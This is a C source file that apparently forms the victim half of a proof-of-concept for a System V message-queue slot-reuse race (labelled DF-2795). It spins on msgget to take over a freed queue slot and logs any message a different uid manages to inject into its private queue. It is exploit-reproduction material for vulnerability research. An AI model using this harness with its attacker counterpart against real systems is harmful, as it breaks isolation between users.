DF-2795 / victim.c
/* * DF-2795 victim half -- run as a DIFFERENT unprivileged uid. * * Handshake over an mmap'd shared word (ns latency, no syscalls): * P writes state=1 (round queue created) + target slot index * V: msgget-spins until it wins the freed slot (ENOSPC meanwhile), * writes state=2, listens ~30ms for the injected message, * IPC_RMID's it, writes state=3. * Nobody but this uid can write a 0600 queue owned by this uid, so any * message received is the stale msgsnd() sleeper. * * On success writes /var/tmp/df2795/hit.<pid> with the evidence. * cc -O2 -o victim victim.c */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #define HITDIR "/var/tmp/df2795" #define CTRL HITDIR "/ctrl" struct ctrl { volatile unsigned int state; /* 1=Q created 2=V holding 3=V freed */ volatile unsigned int target_ix; volatile unsigned int vqid; }; int main(void) { struct { long mtype; char mtext[256]; } m; struct ctrl *c; int fd, qid, n, i, hf; char path[256]; pid_t me = getpid(); setvbuf(stdout, NULL, _IOLBF, 0); fd = open(CTRL, O_RDWR); if (fd < 0) { perror("open " CTRL); return 2; } c = mmap(NULL, sizeof(*c), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (c == MAP_FAILED) { perror("mmap"); return 2; } for (;;) { /* wait for the attacker's round queue to exist */ while (c->state != 1) usleep(50); /* spin msgget: ENOSPC until the RMID frees the target slot */ for (;;) { qid = msgget(IPC_PRIVATE, 0600); if (qid >= 0) break; if (errno != ENOSPC && errno != EINTR) { perror("msgget"); return 2; } } c->vqid = (unsigned int)qid; __sync_synchronize(); c->state = 2; /* listen */ for (i = 0; i < 30; i++) { n = msgrcv(qid, &m, sizeof(m.mtext), 0, IPC_NOWAIT); if (n >= 0) { snprintf(path, sizeof(path), HITDIR "/hit.%d", (int)me); hf = open(path, O_CREAT | O_WRONLY, 0666); if (hf >= 0) { dprintf(hf, "INJECTED into qid=%d (slot %u, " "expected victim recreate of slot " "%u) uid=%d mode=0600 private\n" "mtype=0x%lx n=%d text=%.*s\n", qid, (unsigned)(qid & 0xffff), c->target_ix, getuid(), m.mtype, n, n > 0 ? n : 0, m.mtext); close(hf); } printf("VICTIM uid %d RECEIVED INJECTED " "MESSAGE on its private queue qid=%d " "(slot %u): type=0x%lx \"%.*s\"\n", getuid(), qid, (unsigned)(qid & 0xffff), m.mtype, n > 0 ? n : 0, m.mtext); return 0; } usleep(1000); } msgctl(qid, IPC_RMID, NULL); c->state = 3; } } |